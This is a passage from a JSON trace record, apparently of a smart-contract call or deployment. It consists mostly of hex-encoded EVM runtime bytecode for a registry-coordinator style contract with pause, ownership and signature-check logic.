cs":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106103265760003560e01c80635b0b829f116101b85780639e9923c211610104578063d72d8dd6116100a2578063e65797ad1161007c578063e65797ad1461083b578063f2fde38b146108de578063fabc1cbc146108f1578063fd39105a1461090457600080fd5b8063d72d8dd61461080d578063d75b4c8814610815578063dd8283f31461082857600080fd5b8063a96f783e116100de578063a96f783e146107aa578063c391425e146107b3578063ca0de882146107d3578063ca4f2d97146107fa57600080fd5b80639e9923c2146107495780639feab85914610770578063a50857bf1461079757600080fd5b8063715018a611610171578063886f11951161014b578063886f1195146106f65780638da5cb5b1461070f5780639aa1653d146107175780639b5d177b1461073657600080fd5b8063715018a6146106c857806384ca5213146106d0578063871ef049146106e357600080fd5b80635b0b829f146106395780635c975abb1461064c5780635df45946146106545780636347c9001461067b578063683048351461068e5780636e3b17db146106b557600080fd5b8063249a0c42116102775780633998fdd3116102305780635140a5481161020a5780635140a548146105df5780635865c60c146105f2578063595c6a67146106125780635ac86ab71461061a57600080fd5b80633998fdd31461056c5780633af32abf146105935780633c2a7f4c146105bf57600080fd5b8063249a0c42146104ed57806328f61b311461050d57806329092d0e14610520578063296bb0641461053357806329d1e0c3146105465780632cdd1e861461055957600080fd5b80630d3f2134116102e457806313542a4e116102be57806313542a4e14610435578063136439dd1461045e5780631478851f146104715780631eb812da146104a457600080fd5b80630d3f2134146103ef57806310d67a2f14610402578063125e05841461041557600080fd5b8062cf2ab51461032b57806303fd34921461034057806304ec635114610373578063054310e61461039e5780630a3b0a4f146103c95780630cf4b767146103dc575b600080fd5b61033e610339366004614433565b610940565b005b61036061034e366004614474565b60009081526098602052604090205490565b6040519081526020015b60405180910390f35b61038661038136600461449f565b610a4e565b6040516001600160c01b03909116815260200161036a565b609d546103b1906001600160a01b031681565b6040516001600160a01b03909116815260200161036a565b61033e6103d73660046144fc565b610b5e565b61033e6103ea366004614604565b610bb2565b61033e6103fd366004614474565b610c5c565b61033e6104103660046144fc565b610c69565b6103606104233660046144fc565b609f6020526000908152604090205481565b6103606104433660046144fc565b6001600160a01b031660009081526099602052604090205490565b61033e61046c366004614474565b610d1c565b61049461047f366004614474565b609a6020526000908152604090205460ff1681565b604051901515815260200161036a565b6104b76104b2366004614654565b610e59565b60408051825163ffffffff908116825260208085015190911690820152918101516001600160c01b03169082015260600161036a565b6103606104fb366004614687565b609b6020526000908152604090205481565b609e546103b1906001600160a01b031681565b61033e61052e3660046144fc565b610eea565b6103b1610541366004614474565b610f3b565b61033e6105543660046144fc565b610fc7565b61033e6105673660046144fc565b610fd8565b6103b17f0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e881565b6104946105a13660046144fc565b6001600160a01b0316600090815260c8602052604090205460ff1690565b6105d26105cd3660046144fc565b610fe9565b60405161036a91906146a2565b61033e6105ed3660046146fa565b611068565b6106056106003660046144fc565b61143e565b60405161036a91906147a1565b61033e6114b2565b610494610628366004614687565b6001805460ff9092161b9081161490565b61033e610647366004614826565b61157e565b600154610360565b6103b17f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81565b6103b1610689366004614474565b6115d8565b6103b17f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881565b61033e6106c336600461485a565b611602565b61033e611757565b6103606106de366004614911565b61176b565b6103866106f1366004614474565b6117b5565b6000546103b1906201000090046001600160a01b031681565b6103b16117c0565b6096546107249060ff1681565b60405160ff909116815260200161036a565b61033e610744366004614ab1565b6117d9565b6103b17f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b6103607f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de681565b61033e6107a5366004614bbe565b611af2565b61036060a05481565b6107c66107c1366004614c6e565b611c57565b60405161036a9190614d18565b6103607f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a81565b61033e610808366004614d61565b611d06565b609c54610360565b61033e610823366004614e4f565b611d6c565b61033e610836366004615000565b611d7f565b6108aa610849366004614687565b60408051606080820183526000808352602080840182905292840181905260ff9490941684526097825292829020825193840183525463ffffffff8116845261ffff600160201b8204811692850192909252600160301b9004169082015290565b60408051825163ffffffff16815260208084015161ffff90811691830191909152928201519092169082015260600161036a565b61033e6108ec3660046144fc565b61203f565b61033e6108ff366004614474565b6120b5565b6109336109123660046144fc565b6001600160a01b031660009081526099602052604090206001015460ff1690565b60405161036a91906150de565b6001546002906004908116036109715760405162461bcd60e51b8152600401610968906150ec565b60405180910390fd5b60005b82811015610a4857600084848381811061099057610990615123565b90506020020160208101906109a591906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156109f0576109f0614769565b6002811115610a0157610a01614769565b90525080519091506000610a1482612211565b90506000610a2a826001600160c01b031661227c565b9050610a37858583612348565b505060019093019250610974915050565b50505050565b6000838152609860205260408120805482919084908110610a7157610a71615123565b600091825260209182902060408051606081018252929091015463ffffffff808216808552600160201b8304821695850195909552600160401b9091046001600160c01b03169183019190915290925085161015610af75760405162461bcd60e51b8152602060048201526003602482015262189b8f60ea1b6044820152606401610968565b602081015163ffffffff161580610b1d5750806020015163ffffffff168463ffffffff16105b610b525760405162461bcd60e51b81526004016109689060208082526004908201526331371e1960e11b604082015260600190565b60400151949350505050565b610b66612435565b6001600160a01b038116600081815260c86020526040808220805460ff19166001179055517f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f9190a250565b60013360009081526099602052604090206001015460ff166002811115610bdb57610bdb614769565b14610c105760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b33600090815260996020526040908190205490517fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa90610c5190849061517f565b60405180910390a250565b610c64612435565b60a055565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190615192565b6001600160a01b0316336001600160a01b031614610d105760405162461bcd60e51b8152600401610968906151af565b610d1981612494565b50565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d91906151f9565b610da95760405162461bcd60e51b81526004016109689061521b565b60015481811614610e225760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d90602001610c51565b60408051606081018252600080825260208201819052918101919091526000838152609860205260409020805483908110610e9657610e96615123565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160c01b03600160401b909304929092169082015290505b92915050565b610ef2612435565b6001600160a01b038116600081815260c86020526040808220805460ff19169055517f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc9190a250565b6040516308f6629d60e31b8152600481018290526000907f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b0316906347b314e890602401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190615192565b610fcf612435565b610d1981612599565b610fe0612435565b610d1981612602565b6040805180820190915260008082526020820152610ee46110637f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de6846040516020016110489291909182526001600160a01b0316602082015260400190565b6040516020818303038152906040528051906020012061266b565b6126b9565b6001546002906004908116036110905760405162461bcd60e51b8152600401610968906150ec565b60006110d884848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90508483146111125760405162461bcd60e51b81526020600482015260066024820152653931a8a632b760d11b6044820152606401610968565b60005b8381101561143557600085858381811061113157611131615123565b919091013560f81c9150369050600089898581811061115257611152615123565b90506020028101906111649190615263565b6040516379a0849160e11b815260ff8616600482015291935091507f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b03169063f341092290602401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f491906152ac565b63ffffffff1681146112335760405162461bcd60e51b81526020600482015260086024820152673931a8a7b82632b760c11b6044820152606401610968565b6000805b828110156113da57600084848381811061125357611253615123565b905060200201602081019061126891906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156112b3576112b3614769565b60028111156112c4576112c4614769565b905250805190915060006112d782612211565b905060016001600160c01b03821660ff8b161c8116146113245760405162461bcd60e51b815260206004820152600860248201526772634f702152656760c01b6044820152606401610968565b856001600160a01b0316846001600160a01b03161161136f5760405162461bcd60e51b8152602060048201526007602482015266072634475704f760cc1b6044820152606401610968565b506113cd83838f8f8d908e600161138691906152df565b92611393939291906152f2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061234892505050565b5090925050600101611237565b5060ff84166000818152609b6020908152604091829020439081905591519182527f46077d55330763f16269fd75e5761663f4192d2791747c0189b16ad31db07db4910160405180910390a250505050806001019050611115565b50505050505050565b60408051808201909152600080825260208201526001600160a01b0382166000908152609960209081526040918290208251808401909352805483526001810154909183019060ff16600281111561149857611498614769565b60028111156114a9576114a9614769565b90525092915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906151f9565b61153f5760405162461bcd60e51b81526004016109689061521b565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b611586612435565b609654829060ff908116908216106115c95760405162461bcd60e51b815260206004820152600660248201526552433a71214560d01b6044820152606401610968565b6115d383836127d9565b505050565b609c81815481106115e857600080fd5b6000918252602090912001546001600160a01b0316905081565b609e546001600160a01b031633146116495760405162461bcd60e51b815260206004820152600a602482015269292190b2b532b1ba37b960b11b6044820152606401610968565b6001600160a01b0383166000908152609f602090815260408083204290556099825280832080548251601f87018590048502810185019093528583529093909290916116b69187908790819084018382808284376000920191909152505060965460ff1691506127489050565b905060006116c383612211565b905060018085015460ff1660028111156116df576116df614769565b1480156116f457506001600160c01b03821615155b801561171257506117126001600160c01b0383811690831681161490565b15611435576114358787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b61175f612435565b6117696000612c0e565b565b60006117ab7f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a87878787876040516020016110489695949392919061531c565b9695505050505050565b6000610ee482612211565b60006117d46064546001600160a01b031690565b905090565b60018054600091908116036118005760405162461bcd60e51b8152600401610968906150ec565b33600090815260c8602052604090205460ff166118515760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b8389146118895760405162461bcd60e51b81526004016109689060208082526004908201526338a632b760e11b604082015260600190565b60006118953388612c60565b90506118f533828888808060200260200160405190810160405280939291908181526020016000905b828210156118ea576118db604083028601368190038101906153a3565b815260200190600101906118be565b505050505087612d95565b600061193c33838e8e8e8e8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b90506000609760008e8e600081811061195757611957615123565b919091013560f81c825250602080820192909252604090810160009081208251606081018452905463ffffffff811680835261ffff600160201b8304811696840196909652600160301b9091049094169281019290925284518051929450916119c2576119c2615123565b602002602001015163ffffffff161115611ae357611a678d8d60008181106119ec576119ec615123565b9050013560f81c60f81b60f81c8360400151600081518110611a1057611a10615123565b6020026020010151338560200151600081518110611a3057611a30615123565b60200260200101518c8c6000818110611a4b57611a4b615123565b905060400201803603810190611a6191906153a3565b86613335565b611ae388886000818110611a7d57611a7d615123565b9050604002016020016020810190611a9591906144fc565b8e8e600090600192611aa9939291906152f2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b50505050505050505050505050565b6001805460009190811603611b195760405162461bcd60e51b8152600401610968906150ec565b33600090815260c8602052604090205460ff16611b6a5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b6000611b763385612c60565b90506000611bbf33838b8b8b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b51600080805260976020527f683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c754825192935063ffffffff1691839190611c0757611c07615123565b602002602001015163ffffffff161115611c4c5760405162461bcd60e51b81526020600482015260066024820152650714d61784f760d41b6044820152606401610968565b505050505050505050565b6060600082516001600160401b03811115611c7457611c74614519565b604051908082528060200260200182016040528015611c9d578160200160208202803683370190505b50905060005b8351811015611cfe57611ccf85858381518110611cc257611cc2615123565b6020026020010151613504565b828281518110611ce157611ce1615123565b63ffffffff90921660209283029190910190910152600101611ca3565b509392505050565b60018054600290811603611d2c5760405162461bcd60e51b8152600401610968906150ec565b6115d33384848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b611d74612435565b6115d38383836135bd565b600054610100900460ff1615808015611d9f5750600054600160ff909116105b80611db95750303b158015611db9575060005460ff166001145b611e1c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610968565b6000805460ff191660011790558015611e3f576000805461ff0019166101001790555b82518451148015611e51575081518351145b611e825760405162461bcd60e51b8152602060048201526002602482015261494560f01b6044820152606401610968565b611e8b89612c0e565b611e95868661379f565b611e9e88612599565b611ea787612602565b609c80546001818101835560008381527faf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c92830180546001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881166001600160a01b03199283161790925585548085018755850180547f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e841690831617905585549384019095559190920180547f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3690921691909316179091555b8451811015611fee57611fe6858281518110611fa557611fa5615123565b6020026020010151858381518110611fbf57611fbf615123565b6020026020010151858481518110611fd957611fd9615123565b60200260200101516135bd565b600101611f87565b508015611c4c576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050505050565b612047612435565b6001600160a01b0381166120ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610968565b610d1981612c0e565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212c9190615192565b6001600160a01b0316336001600160a01b03161461215c5760405162461bcd60e51b8152600401610968906151af565b6001541981196001541916146121da5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610c51565b6000818152609860205260408120548082036122305750600092915050565b60008381526098602052604090206122496001836153bf565b8154811061225957612259615123565b600091825260209091200154600160401b90046001600160c01b03169392505050565b606060008061228a8461388f565b61ffff166001600160401b038111156122a5576122a5614519565b6040519080825280601f01601f1916602001820160405280156122cf576020820181803683370190505b5090506000805b8251821080156122e7575061010081105b1561233e576001811b93508584161561232e578060f81b83838151811061231057612310615123565b60200101906001600160f81b031916908160001a9053508160010191505b612337816153d2565b90506122d6565b5090949350505050565b60018260200151600281111561236057612360614769565b1461236a57505050565b81516040516333567f7f60e11b81526000906001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377816906366acfefe906123bf908890869088906004016153eb565b6020604051808303816000875af11580156123de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612402919061541b565b90506001600160c01b0381161561242e5761242e85612429836001600160c01b031661227c565b612886565b5050505050565b3361243e6117c0565b6001600160a01b0316146117695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0381166125225760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610968565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b609d54604080516001600160a01b03928316815291831660208301527f315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c910160405180910390a1609d80546001600160a01b0319166001600160a01b0392909216919091179055565b609e54604080516001600160a01b03928316815291831660208301527f8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9910160405180910390a1609e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ee46126786138ba565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6040805180820190915260008082526020820152600080806126e96000805160206158c38339815191528661545a565b90505b6126f5816139e1565b90935091506000805160206158c3833981519152828309830361272e576040805180820190915290815260208101919091529392505050565b6000805160206158c38339815191526001820890506126ec565b60008061275484613a63565b9050808360ff166001901b116127d25760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610968565b9392505050565b60ff8216600081815260976020908152604091829020845181548684018051888701805163ffffffff90951665ffffffffffff199094168417600160201b61ffff938416021767ffff0000000000001916600160301b95831695909502949094179094558551918252518316938101939093525116918101919091527f3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac9060600160405180910390a25050565b6001600160a01b0382166000908152609960205260409020805460018083015460ff1660028111156128ba576128ba614769565b146128ef5760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b60965460009061290390859060ff16612748565b9050600061291083612211565b90506001600160c01b0382166129515760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b6129686001600160c01b0383811690831681161490565b61299d5760405162461bcd60e51b81526004016109689060208082526004908201526310a9bab160e11b604082015260600190565b6001600160c01b03828116198216166129b68482613beb565b6001600160c01b038116612a855760018501805460ff191660021790556040516351b27a6d60e11b81526001600160a01b0388811660048301527f0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e8169063a364f4da90602401600060405180830381600087803b158015612a3657600080fd5b505af1158015612a4a573d6000803e3d6000fd5b50506040518692506001600160a01b038a1691507f396fdcb180cb0fea26928113fb0fd1c3549863f9cd563e6a184f1d578116c8e490600090a35b60405163f4e24fe560e01b81526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e169063f4e24fe590612ad3908a908a9060040161546e565b600060405180830381600087803b158015612aed57600080fd5b505af1158015612b01573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377816925063bd29b8cd9150612b539087908a90600401615492565b600060405180830381600087803b158015612b6d57600080fd5b505af1158015612b81573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616925063bd29b8cd9150612bd39087908a90600401615492565b600060405180830381600087803b158015612bed57600080fd5b505af1158015612c01573d6000803e3d6000fd5b5050505050505050505050565b606480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040516309aa152760e11b81526001600160a01b0383811660048301526000917f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e909116906313542a4e90602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef91906154ab565b90506000819003610ee4577f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b031663bf79ce588484612d3487610fe9565b6040518463ffffffff1660e01b8152600401612d52939291906154c4565b6020604051808303816000875af1158015612d71573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d291906154ab565b6020808201516000908152609a909152604090205460ff1615612de35760405162461bcd60e51b815260206004820152600660248201526518da14d85b1d60d21b6044820152606401610968565b4281604001511015612e1f5760405162461bcd60e51b8152602060048201526005602482015264063684578760dc1b6044820152606401610968565b602080820180516000908152609a909252604091829020805460ff19166001179055609d54905191830151610a48926001600160a01b0390921691612e6a918891889188919061176b565b8351613dac565b612e9560405180606001604052806060815260200160608152602001606081525090565b6000612edd86868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90506000612eea88612211565b90506001600160c01b038216612f2b5760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b8082166001600160c01b031615612f6d5760405162461bcd60e51b81526004016109689060208082526004908201526308509a5d60e21b604082015260600190565b60a0546001600160a01b038a166000908152609f60205260409020546001600160c01b0383811690851617914291612fa591906152df565b10612fda5760405162461bcd60e51b815260206004820152600560248201526410b7b822b560d91b6044820152606401610968565b612fe48982613beb565b887fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa87604051613014919061517f565b60405180910390a260016001600160a01b038b1660009081526099602052604090206001015460ff16600281111561304e5761304e614769565b14613167576040805180820182528a8152600160208083018281526001600160a01b038f166000908152609990925293902082518155925183820180549394939192909160ff1916908360028111156130a9576130a9614769565b021790555050604051639926ee7d60e01b81526001600160a01b037f0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e8169150639926ee7d906130fe908d908990600401615534565b600060405180830381600087803b15801561311857600080fd5b505af115801561312c573d6000803e3d6000fd5b50506040518b92506001600160a01b038d1691507fe8e68cef1c3a761ed7be7e8463a375f27f7bc335e51824223cacce636ec5c3fe90600090a35b604051631fd93ca960e11b81526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e1690633fb27952906131b7908d908c908c906004016155a8565b600060405180830381600087803b1580156131d157600080fd5b505af11580156131e5573d6000803e3d6000fd5b5050604051632550477760e01b81526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137781692506325504777915061323b908d908d908d908d906004016155cd565b6000604051808303816000875af115801561325a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613282919081019061565c565b60408087019190915260208601919091525162bff04d60e01b81526001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36169062bff04d906132df908c908c908c906004016156c3565b6000604051808303816000875af11580156132fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261332691908101906156dd565b84525050509695505050505050565b6020808301516001600160a01b038082166000818152609990945260409093205491929087160361338e5760405162461bcd60e51b815260206004820152600360248201526206368360ec1b6044820152606401610968565b8760ff16846000015160ff16146133cd5760405162461bcd60e51b815260206004820152600360248201526263683160e81b6044820152606401610968565b604051635401ed2760e01b81526004810182905260ff891660248201526000907f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031690635401ed2790604401602060405180830381865afa15801561343e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134629190615771565b905061346e8185613f66565b6001600160601b0316866001600160601b0316116134b45760405162461bcd60e51b815260206004820152600360248201526231b41960e91b6044820152606401610968565b6134be8885613f8a565b6001600160601b0316816001600160601b031610611c4c5760405162461bcd60e51b815260206004820152600360248201526263683360e81b6044820152606401610968565b600081815260986020526040812054815b8181101561358c57600161352982846153bf565b61353391906153bf565b92508463ffffffff16609860008681526020019081526020016000208463ffffffff168154811061356657613566615123565b60009182526020909120015463ffffffff1611613584575050610ee4565b600101613515565b5060405162461bcd60e51b81526020600482015260056024820152644f2152656760d81b6044820152606401610968565b60965460ff1660c081106135fc5760405162461bcd60e51b8152600401610968906020808252600490820152630e29ac2f60e31b604082015260600190565b61360781600161578e565b6096805460ff191660ff929092169190911790558061362681866127d9565b60405160016296b58960e01b031981526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778169063ff694a7790613679908490889088906004016157a7565b600060405180830381600087803b15801561369357600080fd5b505af11580156136a7573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561370f57600080fd5b505af1158015613723573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561378b57600080fd5b505af1158015611c4c573d6000803e3d6000fd5b6000546201000090046001600160a01b03161580156137c657506001600160a01b03821615155b6138485760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261388b82612494565b5050565b6000805b8215610ee4576138a46001846153bf565b90921691806138b281615827565b915050613893565b6000306001600160a01b037f0000000000000000000000005eb3bc0a489c5a8288765d2336659ebca68fcd001614801561391357507f0000000000000000000000000000000000000000000000000000000000007a6946145b1561393d57507fc6374306ca0c3d05fd3f0cebbec8fc4308f71679c06b0e30a95d8c9709d43dae90565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f6ec8a99f0e7f9ebde7354a446dcb9423f3af9c58f386a53c59c5b384f9e82d11828401527f6bda7e3f385e48841048390444cced5cc795af87758af67622e5f4f0882c4a9960608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b600080806000805160206158c383398151915260036000805160206158c3833981519152866000805160206158c3833981519152888909090890506000613a57827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f526000805160206158c3833981519152613fa4565b91959194509092505050565b600061010082511115613aec5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610968565b8151600003613afd57506000919050565b60008083600081518110613b1357613b13615123565b0160200151600160f89190911c81901b92505b8451811015613be257848181518110613b4157613b41615123565b0160200151600160f89190911c1b9150828211613bd65760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610968565b91811791600101613b26565b50909392505050565b60008281526098602052604081205490819003613c93576000838152609860209081526040808320815160608101835263ffffffff43811682528185018681526001600160c01b03808a16958401958652845460018101865594885295909620915191909201805495519351909416600160401b026001600160401b03938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055505050565b6000838152609860205260408120613cac6001846153bf565b81548110613cbc57613cbc615123565b6000918252602090912001805490915063ffffffff438116911603613cfe5780546001600160401b0316600160401b6001600160c01b03851602178155610a48565b805463ffffffff438116600160201b81810267ffffffff0000000019909416939093178455600087815260986020908152604080832081516060810183529485528483018481526001600160c01b03808c1693870193845282546001810184559286529390942094519401805493519151909216600160401b026001600160401b0391861690960267ffffffffffffffff199093169390941692909217179190911691909117905550505050565b6001600160a01b0383163b15613ec657604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90613dec9086908690600401615492565b602060405180830381865afa158015613e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2d9190615848565b6001600160e01b031916146115d35760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610968565b826001600160a01b0316613eda838361404d565b6001600160a01b0316146115d35760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610968565b602081015160009061271090613f809061ffff1685615872565b6127d29190615894565b604081015160009061271090613f809061ffff1685615872565b600080613faf6143b3565b613fb76143d1565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280613ff457fe5b50826140425760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610968565b505195945050505050565b600080600061405c8585614069565b91509150611cfe816140d7565b600080825160410361409f5760208301516040840151606085015160001a6140938782858561428d565b945094505050506140d0565b82516040036140c857602083015160408401516140bd86838361437a565b9350935050506140d0565b506000905060025b9250929050565b60008160048111156140eb576140eb614769565b036140f35750565b600181600481111561410757614107614769565b036141545760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610968565b600281600481111561416857614168614769565b036141b55760405162461bcd60e51b815260206004820152601f60248201527f454344